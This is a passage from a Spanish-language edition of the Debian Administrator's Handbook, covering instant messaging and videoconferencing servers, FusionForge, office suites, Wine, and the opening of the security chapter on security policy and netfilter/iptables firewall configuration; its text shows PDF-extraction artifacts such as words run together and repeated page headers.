que se adaptan a muchos grupos deusuario; los ejemplos incluyen XChat ySmuxi (clientes gráficos basados enGTK+), Irssi (modo texto), Erc (integradoa Emacs), Chatzilla (en el conjunto desoftware Mozilla), etc.

VISTA RÁPIDA Conferencias de videocon Ekiga

Ekiga (anteriormente GnomeMeeting) esla aplicación más resaltada paraconferencias de video en Linux. Esestable, funcional y muy sencilla deutilizar en una red local; configurar elservicio en una red global es mucho máscomplejo cuando los firewallsinvolucrados no son compatiblesexplícitamente con los protocolos deteleconferencias H323 y/o SIP y todas sus

Page 1652: El Libro Del Administrador de Debian - Raphael Hertzog

peculiaridades.

Si sólo se ejecutará un cliente Ekigadetrás del firewall, la configuración esbastante directa ya que sólo involucraredirigir unos pocos puertos al equipodedicado: el puerto TCP 1720 (que esperaconexiones entrantes), el puerto TCP5060 (para SIP), los puertos TCP 30000 a30010 (para control de conexionesabiertas) y los puertos UDP 5000 a 5013(para transmisión de datos de audio yvideo así como registración con un proxyH323).

Cuando se ejecuten varios clientes Ekigadetrás del firewall, la complejidadaumenta considerablemente. Deberáconfigurar un proxy H323 (por ejemplo elpaquete gnugk), tarea que dista de sersencilla.

Page 1653: El Libro Del Administrador de Debian - Raphael Hertzog

13.4.4.2.1. Configuración del servidor

Configurar un servidor Jabber esbastante directo. Luego de instalar elpaquete ejabberd, ejecutar dpkg-reconfigure ejabberd le permitirápersonalizar el dominiopredeterminado y crear una cuenta deadministración. Sepa que el servidorJabber necesita un nombre DNS válidoque apunte a él, por lo que necesitaráalgo de administración de red antes.Los administradores de Falcot Corpeligieron jabber.falcot.com paraeste propósito.

Una vez que finalizó esta configuración

Page 1654: El Libro Del Administrador de Debian - Raphael Hertzog

inicial, puede controlar laconfiguración del servicio a través deuna interfaz web disponible enhttp://jabber.falcot.com:5280/admin/

El nombre de usuario y contraseñasolicitados son aquellos que ingresódurante la configuración inicial. Sepaque el nombre de usuario debe sercompleto, incluyendo el dominioconfigurado: la cuenta admin será[email protected].

La interfaz web elimina la necesidad deeditar un archivo de configuración,pero no siempre hace la tarea mássencilla ya que necesita conocer lasintáxis particular que poseen muchasopciones. le recomendamos leer

Page 1655: El Libro Del Administrador de Debian - Raphael Hertzog

/usr/share/doc/ejabberd/guide.html

13.4.4.2.2. Clientes Jabber

GNOME provee Empathy (en elpaquete del mismo nombre), un clienteminimalista que se integra con el áreade notificación del escritorio (en laesquina superior derecha de laconfiguración predeterminada deGNOME). También es compatible conmuchos protocolos de mensajeríainstantánea además de Jabber.

KDE provee Kopete (en el paquete delmismo nombre).

13.4.4.3. Trabajo

Page 1656: El Libro Del Administrador de Debian - Raphael Hertzog

colaborativo conFusionForge

FusionForge es una herramienta dedesarrollo colaborativo derivado deSourceForge, un servicio dealmacenamiento de proyectos desoftware libre. Tiene el mismo enfoquegeneral basado en el modelo estándarde desarrollo de software libre. Elsoftware en sí continuó evolucionandoluego que el código de SourceForgepasó a ser privativo. Sus autoresiniciales, VA Software, decidieron nopublicar más versiones libres. Lomismo pasó cuando su primerbifurcación (GForge) siguió el mismo

Page 1657: El Libro Del Administrador de Debian - Raphael Hertzog

camino. Debido a que muchas personasy organizaciones participaron en sudesarrollo, el FusionForge actualtambién incluye funcionalidad queapuntan a un enfoque más tradicionalde desarrollo así como tambiénproyectos que no están completamenteenfocados en el desarrollo de software.

Se puede considerar a FusionForgecomo una amalgama de variasherramientas dedicadas a gestionar,seguir y coordinar proyectos.Podríamos clasificar estasherramientas, a grandes rasgos, en tresfamilias:

comunicación: foros web, gestor

Page 1658: El Libro Del Administrador de Debian - Raphael Hertzog

de listas de correo, sistemas deanuncios que permiten que elproyecto publique noticias;seguimiento: gestor de tareas paracontrolar el progreso y programartareas, seguimiento de errores (oparches, o pedidos defuncionalidad, o cualquier otrotipo de reporte — «ticket»),encuestas;compartir: gestor dedocumentación para proveer unúnico punto central paradocumentos relacionados a unproyecto, gestor genérico depublicación de archivos, sitio webdedicado a cada proyecto.

Page 1659: El Libro Del Administrador de Debian - Raphael Hertzog

Debido a que, en gran parte,FusionForge está dedicado a desarrollode proyectos, también integra muchasherramientas como CVS, Subversion,Git, Bazaar, Darcs, Mercurial y Archpara gestión de control de fuente o«gestión de configuración» o «controlde versiones» — este proceso tienemuchos nombres. Estos programasmantienen un historial de todas lasrevisiones de todos los archivosseguidos (generalmente archivos decódigo fuente), con todos los cambiosque atravesaron y pueden integrarmodificaciones cuando variosdesarrolladores trabajansimultáneamente en la misma porciónde un proyecto.

Page 1660: El Libro Del Administrador de Debian - Raphael Hertzog

Muchas de estas herramientas estándisponible, o inclusive sonadministradas, en una interfaz web conun sistema de permisos muy detalladoy notificaciones por correo de algunoseventos.

13.4.5. Suites deoficinaDurante mucho tiempo el mundo delsoftware libre era limitado en cuanto asoftware de oficina. Los usuariospedían reemplazos de las herramientasde Microsoft como Word y Excel, peroéstas son tan complejas que el

Page 1661: El Libro Del Administrador de Debian - Raphael Hertzog

desarrollo de dichos reemplazos fuecomplejo. La situación cambió cuandocomenzó el proyecto OpenOffice.org(luego de que Sun publicara el códigode StarOffice bajo una licencia libre).Los proyectos GNOME y KDEcontinúan trabajando en sus ofertas(GNOME Office y KOffice) y lacompetencia amigable lleva aresultados interesantes. Por ejemplo, lahoja de cálculo Gnumeric (parte deGNOME Office) es inclusive mejorque OpenOffice.org en algunosaspectos, notablemente en la precisiónde sus cálculos. En cuanto alprocesamiento de texto, la suiteOpenOffice.org todavía lleva ladelantera.

Page 1662: El Libro Del Administrador de Debian - Raphael Hertzog

Otra característica importante para losusuarios es la capacidad de importardocumentos Word y Excel queencuentran o reciben de contactos. Aúncuando todas las suites de oficinaposeen filtros que permiten trabajarcon estos formatos, sólo aquellos enOpenOffice.org son suficientementefuncionales para usar diariamente.

UNA VISIÓN MÁS AMPLIA Libre Officereemplaza OpenOffice.org

Los colaboradores de OpenOffice.orgcrearon una fundación (The DocumentFoundation) para abarcar el desarrollodel proyecto. Se discutió la idea por untiempo, pero el disparador fue laadquisición de Sun por parte de Oracle.

Page 1663: El Libro Del Administrador de Debian - Raphael Hertzog

Los nuevos dueños hicieron incierto elfuturo de OpenOffice bajo la mano deOracle. Debido a que Oracle decidió nounirse a la fundación, los desarrolladoresdebieron abandonar el nombreOpenOffice.org. Ahora se conoce alsoftware como Libre Office.

Estos cambios ocurrieron luego quecomenzara el proceso de estabilización deDebian Squeeze, lo cual explica porquélos repositorios todavía contienenOpenOffice.org… pero ya se encuentradisponible Libre Office en el repositoriode paquetes backports.debian.org asícomo también en las versiones másrecientes de Debian.

OpenOffice.org, KOffice y GNOMEOffice se encuentran disponibles,

Page 1664: El Libro Del Administrador de Debian - Raphael Hertzog

respectivamente, en los paquetesDebian openoffice.org, koffice ygnome-office. Los paquetes específicosde idioma para OpenOffice.org sondistribuidos en paquetesindependientes: openoffice.org-l10n-*,openoffice.org-help-* yopenoffice.org-spellcheck-* (quepueden ser paquetes virtuales provistospor myspell-*).

Page 1665: El Libro Del Administrador de Debian - Raphael Hertzog

13.5. Emulaciónde Windows:WineA pesar de todos los esfuerzosmencionados anteriormente, existentodavía herramientas sin equivalente enLinux o para las que las versionesoriginales son absolutamentenecesarias. Aquí es donde son útiles lossistemas de emulación de Windows. Elmás conocido entre ellos es Wine.

→ http://www.winehq.com/

Page 1666: El Libro Del Administrador de Debian - Raphael Hertzog

COMPLEMENTOS CrossOver Linux

CrossOver, producido por CodeWeavers,es un conjunto de mejoras a Wine queamplían el conjunto de funcionalidadesde emulación al punto que se puedeutilizar completamente Microsoft Office.Algunas de estas mejoras sonincorporadas periódicamente en Wine.

→ http://www.codeweavers.com/products/

Sin embargo, uno debe tener en cuentaque sólo es una solución entre muchasotras y que también puede enfrentar elproblema con una máquina virtual oVNC, ambas soluciones son detalladasen los recuadros.

Page 1667: El Libro Del Administrador de Debian - Raphael Hertzog

Comencemos con un recordatorio: laemulación permite ejecutar unprograma (desarrollado para un sistemaobjetivo) en un sistema anfitrióndiferente. El software de emulaciónutiliza el sistema anfitrión, dondeejecuta la aplicación, para imitar lafuncionalidad requerida del sistemaobjetivo.

La forma más simple de utilizar Winees con una instancia de MicrosoftWindows ya instalada en una particiónexistente (que será el caso de lasmáquinas con arranque dual en estesistema). Cuando no se encuentredisponible una versión de Windowsinstalada, Wine trabaja de forma

Page 1668: El Libro Del Administrador de Debian - Raphael Hertzog

menos completa y podrá ejecutarmenos programas.

Primero debe montar la particiónWindows (por ejemplo bajo/windows/) a la que el usuario winedebe tener acceso de lectura yescritura. La siguiente línea en elarchivo /etc/fstab provee este accesoa todos los usuarios:

/dev/hda1 /windows fat defaults,uid=1000,gid=100,umask=002,nls=iso8859-1 0 0

Instalemos ahora los paquetesnecesarios:

# apt-get install wine ttf-mscorefonts-installer wine-doc

Page 1669: El Libro Del Administrador de Debian - Raphael Hertzog

Luego, el usuario necesita ejecutarwinecfg y configurarlo para que utilice/windows/ como el disco C:. Puedemantener el valor predeterminado delas otras opciones. La ejecución deprogramas Windows entonces serásimplemente cuestión de ejecutar wine/windows/.../programa.exe.

Sepa que no debe depender de Wine (osoluciones similares) sin probarrealmente el software particular: sólouna prueba de uso real determinará sindudas si la emulación escompletamente funcional.

ALTERNATIVA Máquinas virtuales

Page 1670: El Libro Del Administrador de Debian - Raphael Hertzog

Una alternativa para emular el sistemaoperativo de Microsoft es ejecutarlorealmente en una máquina virtual queemula el hardware completo de unequipo. Esto permite ejecutar cualquiersistema operativo. El Chapter 12,Administración avanzada describe variossistemas de virtualización, másnotablemente Xen y KVM (pero tambiénQEMU, VMWare y Bochs).

ALTERNATIVA Windows TerminalServer o VNC

Otra posibilidad es ejecutar remotamentelas aplicaciones Windows en un servidorcentral con Windows Terminal Server yacceder a la aplicación desde máquinasLinux utilizando rdesktop. Éste es uncliente Linux para el protocolo RDP

Page 1671: El Libro Del Administrador de Debian - Raphael Hertzog

(protocolo de escritorio remoto: «RemoteDesktop Protocol») que WindowsNT/2000 Terminal Server utiliza paramostrar escritorios en máquinas remotas.

El software VNC provee funcionalidadessimilares, con el beneficio adicional deque también funciona con muchossistemas operativos. Describimos losclientes y servidores VNC Linux en laSection 9.2, “Inicio de sesión remoto”.

Page 1672: El Libro Del Administrador de Debian - Raphael Hertzog

Chapter 14. SeguridadUn sistema de información puede tenerun nivel variable de importanciadependiendo del entorno. En algunoscasos es vital para la supervivencia deuna empresa. Por lo tanto, debe serprotegido de los diversos tipos deriesgos. El proceso de evaluación deestos riesgos y la definición eimplementación de la protección seconocen en su conjunto como «procesode seguridad».

14.1. Definición de

Page 1673: El Libro Del Administrador de Debian - Raphael Hertzog

una política deseguridad

PRECAUCIÓN Alcance de este capítulo

La seguridad es un tema muy amplio ymuy sensible por lo que no podemospretender describirlo de cualquier formaexhaustiva en el curso de un solocapítulo. Sólo delinearemos algunospuntos importantes y describiremosalgunas de las herramientas y métodosque pueden ser de utilidad en el ámbito dela seguridad. Para leer más, la literaturaabunda y libros enteros se han dedicadoal tema. Un excelente punto de partidasería Linux Server Security por MichaelD. Bauer (publicado por O'Reilly).

Page 1674: El Libro Del Administrador de Debian - Raphael Hertzog

La palabra «seguridad» en sí mismacubre un amplio rango de conceptos,herramientas y procedimientos,ninguno de los cuales es universal.Seleccionar entre ellos requiere unaidea precisa de sus metas. Asegurar unsistema comienza con responder unaspocas preguntas. Al precipitarse aimplementar un conjunto arbitrario deherramientas corre el riesgo deenfocarse en los aspectos de seguridadequivocados.

Lo primero a determinar, por lo tanto,es el objetivo. Un buen método paraayudar con esta determinación

Page 1675: El Libro Del Administrador de Debian - Raphael Hertzog

comienza con las siguientes preguntas:

¿Qué estamos tratando deproteger? La política de seguridadserá diferente dependiendo de siqueremos proteger los equipos olos datos. En este último caso,también es necesario saber quédatos.¿Contra qué estamos tratando deprotegernos? ¿Fuga de datosconfidenciales? ¿Pérdidaaccidental de datos? ¿Perdida deingresos por interrupción delservicio?También ¿contra quién estamostratando de protegernos? Lasmedidas de seguridad serán

Page 1676: El Libro Del Administrador de Debian - Raphael Hertzog

diferentes para protegerse contrael error de un usuario regular delsistema de lo que serían contra ungrupo de atacantes determinado.

Habitualmente, se utiliza el término«riesgo» para referirse al conjunto deestos tres factores: qué proteger, quénecesitamos prevenir antes que suceday quién intentará hacer que suceda.Modelar el riesgo requiere respuestas aestas tres preguntas. A partir de estemodelo de riesgo, podemos construiruna normativa de seguridad eimplementarla con acciones concretas.

NOTA Preguntas permanentes

Page 1677: El Libro Del Administrador de Debian - Raphael Hertzog

Bruce Schneier, un experto mundial enasuntos de seguridad (no sólo seguridadinformática) intenta contrarrestar uno delos mitos más importantes con la frase:«la seguridad es un proceso, no unproducto». Los activos a protegercambian con el tiempo, así como tambiénlo hacen las amenazas y los medios adisposición de los potenciales atacantes.Incluso si inicialmente se diseñó eimplementó perfectamente una normativade seguridad, uno nunca debe dormirse enlos laureles. Los componentes del riesgoevolucionan y la respuesta a dicho riesgodebe evolucionar acordemente.

Vale la pena el tomar en cuentarestricciones adicionales, dado quepueden limitar el alcance de las

Page 1678: El Libro Del Administrador de Debian - Raphael Hertzog

políticas disponibles. ¿Hasta dóndeestamos dispuestos a llegar paraasegurar un sistema? Esta preguntatiene un gran impacto en la política aimplementar. La respuesta es a menudodefinida en términos de costosmonetarios, pero debe considerar otroselementos, tal como la cantidad deinconvenientes impuestos a losusuarios del sistema o una degradaciónen el rendimiento.

Una vez que modelamos el riesgo,podemos comenzar a pensar en diseñaruna política de seguridad real.

NOTA Políticas extremas

Page 1679: El Libro Del Administrador de Debian - Raphael Hertzog

Hay casos donde la elección de lasacciones necesarias para proteger unsistema es extremadamente simple.

Por ejemplo, si el sistema a proteger estácompuesto sólo por un equipo de segundamano, el cual tiene como único uso elsumar unos cuantos números al final deldía, la decisión de no hacer nada especialpara protegerlo sería bastante razonable.El valor intrínseco del sistema es bajo. Elvalor de los datos es cero ya que no estánalmacenados en el equipo. Un atacantepotencial que se infiltre en este «sistema»sólo ganaría una calculadora difícil demanejar. El costo de asegurar tal sistemaprobablemente sea mayor que el costo deuna violación.

En el otro extremo del espectro, quizás loque se quiere proteger es la

Page 1680: El Libro Del Administrador de Debian - Raphael Hertzog

confidencialidad de los datos secretos dela manera más completa posible,superando cualquier otra consideración.En este caso, una respuesta apropiadasería la destrucción total de estos datos(borrar de forma segura los archivos,triturar en pedacitos los discos duros yluego disolverlos en ácido, y asísucesivamente). Si hay un requisitoadicional de que los datos sean guardadospara un uso futuro (aunque nonecesariamente disponibles confacilidad), y si el costo aún no es unfactor, entonces un punto de partidapodría ser almacenar los datos en placasde aleación de platino—iridioalmacenados en búnkeres a prueba debombas en varias montañas del mundo,cada uno de los cuales es (por supuesto)totalmente secreto y protegido porejércitos enteros…

Page 1681: El Libro Del Administrador de Debian - Raphael Hertzog

Estos ejemplos podrán parecer extremos,sin embargo, serían una respuestaadecuada a los riesgos definidos, en lamedida en que son el resultado de unproceso de pensamiento que tiene encuenta los objetivos a alcanzar con laslimitaciones que deben cumplirse.Cuando provienene de una decisiónrazonada, ninguna política de seguridades menos respetable que cualquier otra.

En la mayoría de los casos, el sistemade información puede ser segmentadoen subconjuntos coherentes y en sumayoría independientes. Cadasubsistema tendrá sus propiosrequisitos y limitaciones, por lo que sedeberá llevar a cabo la evaluación de

Page 1682: El Libro Del Administrador de Debian - Raphael Hertzog

riesgos y el diseño de la política deseguridad por separado para cada uno.Un buen principio a tener en cuenta esque un perímetro corto y bien definidoes más fácil de defender que unafrontera larga y sinuosa. Se debediseñar en cosencuencia también laorganización de la red: se debenconcentrar los servicios sensibles en unpequeño número de máquinas y estasmáquinas sólo deben ser accesibles através de un número mínimo de puntosde control, asegurar estos puntos decontrol será más fácil que asegurartodas la máquinas sensibles contra latotalidad del mundo exterior. Es en estepunto que se hace evidente la utilidaddel filtrado de red (incluyendo los

Page 1683: El Libro Del Administrador de Debian - Raphael Hertzog

firewalls). Puede implementar estefiltrado con hardware dedicado, peroposiblemente una solución más simpley flexible sea utilizar un firewall ensoftware como el que se integra en elnúcleo Linux.

Page 1684: El Libro Del Administrador de Debian - Raphael Hertzog

14.2. Firewall o elfiltrado depaquetes

VOLVER A LOS CIMIENTOS Firewall

Un firewall es una pieza de equipo decómputo con hardware y/o software queordena los paquetes entrantes o salientesde la red (que vienen hacia o desde unared local) y sólo permite el paso deaquellos que coinciden con ciertascondiciones predefinidas.

Un firewall es una puerta de enlace de

Page 1685: El Libro Del Administrador de Debian - Raphael Hertzog

la red con filtro y sólo es eficaz enaquellos paquetes que deben pasar através de ella. Por lo tanto, sólo puedeser eficaz cuando la única ruta paraestos paquetes es a través del firewall.

La falta de una configuración estándar(y el lema «proceso, no producto»)explica la falta de una soluciónpreconfigurada. Hay, sin embargo,herramientas que facilitan laconfiguración del firewall netfilter, conuna representación gráfica de las reglasde filtrado. fwbuilder es sin duda unode los mejores de ellos.

CASO ESPECÍFICO Firewall local

Page 1686: El Libro Del Administrador de Debian - Raphael Hertzog

Puede restringir un firewall a unamáquina en particular (a diferencia deuna red completa), en cuyo caso sufunción es filtrar o limitar el acceso aalgunos servicios, o posiblemente evitarlas conexiones de salida de softwareilegítimo que un usuario podría,voluntariamente o no, haber instalado.

El núcleo Linux 2.6 incorpora elfirewall netfilter. Puede controlarlodesde el espacio de usuario con losprogramas iptables e ip6tables. Ladiferencia entre estos dos programas esque el primero actúa sobre la red IPv4,mientras que el segundo actúa sobreIPv6. Debido a que ambas pilas deprotocolos de red probablemente

Page 1687: El Libro Del Administrador de Debian - Raphael Hertzog

continuarán con nosotors durantemuchos años, ambas herramientas sonnecesarias y deberán ser utilizadas enparalelo.

14.2.1. Comportamientode netfilternetfilter utiliza cuatro tablas distintasque almacenan las reglas que regulantres tipos de operaciones sobre lospaquetes:

filter se refiere a las reglas defiltrado (aceptar, rechazar oignorar un paquete);nat se refiere a la traducción de

Page 1688: El Libro Del Administrador de Debian - Raphael Hertzog

las direcciones de origen o destinoy puertos de los paquetes, tenga encuenta que esta tabla sólo existepara IPv4;mangle se refiere a otros cambiosen los paquetes IP (incluyendo elcampo ToS — tipo de servicio:«Type of Service» — y opciones);raw permite otras modificacionesmanuales en los paquetes antes deque lleguen al sistema deseguimiento de conexiones.

Cada tabla contiene listas de reglasllamadas cadenas. El firewall utilizacadenas estándar para manejarpaquetes en función de circunstanciaspredefinidas. El administrador puede

Page 1689: El Libro Del Administrador de Debian - Raphael Hertzog

crear otras cadenas, que sólo seutilizarán cuando una cadena estándarhaga referencia a ellas (ya sea directa oindirectamente).

La tabla filter tiene tres cadenasestándar:

INPUT: se refiere a paquetes cuyodestino es el propio firewall;OUTPUT: se refiere a los paquetesque emite el firewall;FORWARD: se refiere a los paquetesque transitan a través del firewall(que no es ni su origen ni sudestino).

La tabla nat también tiene tres cadenasestándar:

Page 1690: El Libro Del Administrador de Debian - Raphael Hertzog

PREROUTING: para modificar lospaquetes tan pronto como llegan;POSTROUTING: para modificar lospaquetes cuando están listos paraseguir su camino;OUTPUT: para modificar lospaquetes generados por el propiofirewall.

Figure 14.1. Cómo llamar a lascadenas de netfilter

Page 1691: El Libro Del Administrador de Debian - Raphael Hertzog

Cada cadena es una lista de reglas, cadaregla es un conjunto de condiciones yuna acción que se ejecutará cuando secumplan las condiciones. Cuando seprocesa un paquete, el firewall examinala cadena apropiada, una regla trasotra; cuando se cumplen lascondiciones de una regla «salta» (deahí la opción -j en las órdenes) a laacción especificada para continuar el

Page 1692: El Libro Del Administrador de Debian - Raphael Hertzog

procesamiento. Los comportamientosmás comunes están estandarizados yexisten acciones dedicadas para ellos.Tomar una de estas acciones estándarinterrumpe el procesamiento de lacadena ya que el destino del paquete yaestá sellado (salvo una excepción quese menciona a continuación):

VOLVER A LOS CIMIENTOS ICMP

ICMP (protocolo de mensajes de controlde internet: «Internet Control MessageProtocol») es el protocolo utilizado paratransmitir información complementaria enlas comunicaciones. Permite probar laconectividad de red con el programa ping(el cual envía un mensaje ICMP depetición de eco — «echo request» — al

Page 1693: El Libro Del Administrador de Debian - Raphael Hertzog

que el destinatario debería responder conun mensaje ICMP de respuesta de eco —«echo reply»). Señala a un firewallrechazando un paquete, indica undesbordamiento en un búfer de recepción,propone una mejor ruta para los paquetessiguientes de la conexión y asísucesivamente. Se definió este protocoloen varios documentos RFC: inicialmenteRFC777 y RFC792 que fueroncompletados y extendidos a la brevedad.

→ http://www.faqs.org/rfcs/rfc777.html→ http://www.faqs.org/rfcs/rfc792.html

A modo de referencia, un búfer derecepción es una pequeña zona dememoria que almacena datos entre elmomento que llegan desde la red y elmomento en que éstos son gestionadospor el núcleo. Si esta zona está llena, no

Page 1694: El Libro Del Administrador de Debian - Raphael Hertzog

se pueden recibir nuevos datos e ICMPseñalará el problema para que el emisorpuede ralentizar su velocidad detransferencia (que idealmente deberíaalcanzar un equilibrio después de algúntiempo).

Tenga en cuenta que aunque una red IPv4puede trabajar sin ICMP, ICMPv6 esestrictamente necesario para una red IPv6ya que combina varias funciones que, enel mundo IPv4, se encontrabandistribuidas entre ICMPv4, IGMP(protocolo de membresía de grupo deinternet: «Internet Group MembershipProtocol») y ARP (protocolo deresolución de direcciones: «AddressResolution Protocol»). ICMPv6 estádefinido en RFC4443.

→ http://www.faqs.org/rfcs/rfc4443.html

Page 1695: El Libro Del Administrador de Debian - Raphael Hertzog

ACCEPT: permitir al paquete seguirsu camino;REJECT: rechazar el paquete conun paquete de error ICMP (laopcion --reject-with tipo deiptables permite seleccionar eltipo de error);DROP: borrar (ignorar) el paquete;LOG: registrar (a través desyslogd) un mensaje con unadescripción del paquete; tenga encuenta que esta acción nointerrumpe el procesamiento y laejecución de la cadena continúacon la regla siguiente, razón por laque registrar los paquetesrechazados necesita una regla

Page 1696: El Libro Del Administrador de Debian - Raphael Hertzog

LOG y una regla REJECT/DROP;ULOG: registrar un mensaje através de ulogd, que puedeadaptarse mejor y máseficientemente que syslogd paramanejar de grandes cantidades demensajes; tenga en cuenta que estaacción, al igual que LOG, tambiéncontinúa el procesamiento de lasiguiente regla en la cadena que lallamó;nombre_de_cadena: saltar a lacadena dada y evaluar sus reglas;RETURN: interrumpir elprocesamiento de la cadena actualy regresar a la cadena que lallamó; en el caso de que la cadenaactual sea una estándar no hay

Page 1697: El Libro Del Administrador de Debian - Raphael Hertzog

cadena que la haya llamado, por loque en su lugar se ejecutará laacción predeterminada (definidacon la opción -P de iptables);SNAT (unicamente en la tabla nat,por lo tanto sólo en IPv4): aplicarNAT de origen (las opcionesadicionales describen los cambiosexactos que se aplicarán);DNAT (unicamente en la tabla nat,por lo tanto, sólo en IPv4): aplicarNAT de destino (las opcionesadicionales describen los cambiosexactos que se aplicarán);MASQUERADE (unicamente en latabla nat, por lo tanto, sólo enIPv4): aplicar enmascaramiento(un caso especial de NAT de

Page 1698: El Libro Del Administrador de Debian - Raphael Hertzog

origen);REDIRECT (unicamente en la tablanat, por lo tanto, sólo en IPv4):redirigir un paquete a un puertodeterminado del mismo firewall,puede utilizar esto para configurarun proxy web transparente quefunciona sin ningunaconfiguración en el lado delcliente, dado que el cliente piensaque se conecta con el destinatariomientras que las comunicacionesrealmente pasan por el proxy.

Otras acciones, en particular lasrelativas a la tabla mangle, están fueradel alcance de este texto. Podráencontrar una lista completa en

Page 1699: El Libro Del Administrador de Debian - Raphael Hertzog

iptables(8) y ip6tables(8).

14.2.2. Sintáxis deiptables e ip6tablesLos programas iptables e ip6tablespermiten manipular las tablas, cadenasy reglas. Su opción -t tabla indica enqué tabla operar (la tabla filter deforma predeterminada).

14.2.2.1. Órdenes

La opción -N cadena crea una nuevacadena. La opción -X cadena eliminauna cadena vacía y sin uso. La opción -

Page 1700: El Libro Del Administrador de Debian - Raphael Hertzog

A cadena regla añade una regla alfinal de la cadena dada. La opción -Icadena número_regla regla insertauna regla antes de la regla con númeronúmero_regla. La opción -D cadenanúmero_regla (o -D cadena regla)elimina una regla en una cadena, laprimera sintáxis identifica la regla quese desea eliminar por su número,mientras que la segunda la identificapor su contenido. La opción -F cadenavacía una cadena (borra todas susreglas), si no menciona ningunacadena, eliminará todas las reglas de latabla. La opción -L cadena muestralas reglas de la cadena. Por último, laopción -P cadena acción define laacción predeterminada o «política»

Page 1701: El Libro Del Administrador de Debian - Raphael Hertzog

para una cadena dada; tenga en cuentaque sólo las cadenas estándar puedetener dicha política.

14.2.2.2. Reglas

Cada regla es expresada comocondiciones -j acción

opciones_acción. Si describe variascondiciones en la misma regla,entonces el criterio es la conjunción (ylógico) de las condiciones, que son almenos tan restrictivas como cadacondición individual.

La condición -p protocolo coincidecon el campo de protocolo del paqueteIP. Los valores más comunes son tcp,

Page 1702: El Libro Del Administrador de Debian - Raphael Hertzog

udp, icmp e icmpv6. Anteponer lacondición con un signo de exclamaciónniega la condición, la cual se coincidirácon «todos los paquetes con unprotocolo distinto al especificado».Este mecanismo de negación no esespecífico de la opción -p y se puedeaplicar a todas las otras condicionestambién.

La condición -s dirección o -sred/máscara coincide con la direcciónde origen del paquete.Correspondientemente, -d direccióno -dred/máscara coincide con ladirección de destino.

La condición -i interfaz selecciona

Page 1703: El Libro Del Administrador de Debian - Raphael Hertzog

los paquetes procedentes de la interfazde red dada. -o interfaz seleccionalos paquetes que salen a través de unainterfaz específica.

Hay condiciones más específicas,dependiendo de las condicionesgenéricas descriptas anteriormente. Porejemplo, puede completementar lacondición -p tcp con condicionessobre los puertos TCP, cláusulas como--source-port puerto y --destination-port puerto.

La condición --state estadocoincide con el estado de un paquete enuna conexión (necesitará el modulo denúcleo ipt_conntrack para el

Page 1704: El Libro Del Administrador de Debian - Raphael Hertzog

seguimiento de conexiones). El estadoNEW describe un paquete que inicia unanueva conexión; ESTABLISHED coincidecon paquetes pertenecientes a unaconexión ya existente y RELATEDcoincide con paquetes iniciando unanueva conexión relacionada con una yaexistente (lo cual es útil para lasconexiones ftp-data en el modo«activo» del protocolo FTP).

En la sección anterior se enumeran lasacciones disponibles, pero no susopciones respectivas. Por ejemplo, laacción LOG tiene las siguientesopciones:

--log-priority, con un valor

Page 1705: El Libro Del Administrador de Debian - Raphael Hertzog

predeterminado de warning,indica la prioridad de los mensajessyslog;--log-prefix permite especificarun prefijo de texto paradiferenciar los mensajesregistrados;--log-tcp-sequence, --log-tcp-options y --log-ip-options indican datos adicionalesque se integrarán en el mensaje: elnúmero de secuencia TCP,opciones TCP y las opciones IP,respectivamente.

La acción DNAT (sólo disponible paraIPv4) ofrece la opción --to-destination dirección:puerto para

Page 1706: El Libro Del Administrador de Debian - Raphael Hertzog

indicar la nueva dirección IP y/o puertode destino. De manera similar, SNATproporciona --to-sourcedirección:puerto para indicar lanueva dirección IP y/o puerto deorigen.

La acción REDIRECT (sólo disponiblepara IPv4) ofrece la opción --to-ports puerto(s) para indicar elpuerto o rango de puertos al que deberedirigir los paquetes.

14.2.3. Creación dereglasCada creación de una regla requiere

Page 1707: El Libro Del Administrador de Debian - Raphael Hertzog

una invocación de iptables/ip6tables.Escribir estas órdenes de forma manualpuede ser tedioso, por lo que lasllamadas se suelen almacenar en unscript para definir la mismaconfiguración automáticamente cadavez que arranque la máquina. Puedeescribir este script a mano, perotambién puede ser interesanteprepararlo con una herramienta de altonivel como fwbuilder.

El principio es simple. En el primerpaso, es necesario describir todos loselementos que intervendrán en lasreglas:

el propio firewall, con sus

Page 1708: El Libro Del Administrador de Debian - Raphael Hertzog

interfaces de red;las redes, con sus rangos dedirecciones IP correspondientes;los servidores;los puertos pertenecientes a losservicios alojados en losservidores.

Luego puede crear las reglassimplemente arrastrando y soltandoacciones en los objetos. Unos cuantosmenús contextuales pueden cambiar lacondición (negarla, por ejemplo). Acontinuación, deberá elegir la acción yconfigurarla.

En cuanto a IPv6, puede crear dosconjuntos de reglas diferentes para

Page 1709: El Libro Del Administrador de Debian - Raphael Hertzog

IPv4 e IPv6, o crear sólo una y dejarque fwbuilder traduzca las reglassegún las direcciones asignadas a losobjetos.

Figure 14.2. Ventana principal defwbuilder

Page 1710: El Libro Del Administrador de Debian - Raphael Hertzog

Luego fwbuilder puede generar unscript de configuración del firewallsegún las reglas que definió. Suarquitectura modular le da la capacidadpara generar scripts dirigidos adiferentes sistemas (iptables paraLinux 2.4/2.6, ipf para FreeBSD y pf

Page 1711: El Libro Del Administrador de Debian - Raphael Hertzog

para OpenBSD).

Las versiones del paquete fwbuilderdesde Squeeze contienen tanto lainterfaz gráfica y los módulos paracada sistema de firewall (éstospreviamente estaban divididos envarios paquetes, uno para cada sistemadestino):

# aptitude install fwbuilder

14.2.4. Instalación delas reglas en cadaarranque

Page 1712: El Libro Del Administrador de Debian - Raphael Hertzog

Si el firewall está destinado a protegeruna conexión de red PPP intermitente,la forma más sencilla de implementarel script es instalarlo como/etc/ppp/ip-up.d/0iptables (tengaen cuenta que sólo se tienen en cuentalos archivos sin un punto en sunombre). Por lo tanto, el firewall sevuelve a cargar cada vez que seestablece una conexión PPP.

En otros casos, la forma recomendadaes registrar el script de configuraciónen una directiva up del archivo/etc/network/interfaces. En elsiguiente ejemplo, el script estáguardado como/usr/local/etc/arrakis.fw.

Page 1713: El Libro Del Administrador de Debian - Raphael Hertzog

Example 14.1. archivo interfacesllamando al script del firewallauto eth0

iface eth0 inet static

address 192.168.0.1

network 192.168.0.0

netmask 255.255.255.0

broadcast 192.168.0.255

up /usr/local/etc/arrakis.fw

Page 1714: El Libro Del Administrador de Debian - Raphael Hertzog

14.3. Supervisión:prevención,detección,disuasiónLa monitorización es una parte integralde cualquier política de seguridad porvarias razones. Entre ellas, que elobjetivo de la seguridad generalmenteno se limita a garantizar laconfidencialidad de los datos, sino quetambién incluye garantizar ladisponibilidad de los servicios. Portanto, es imprescindible comprobar que

Page 1715: El Libro Del Administrador de Debian - Raphael Hertzog

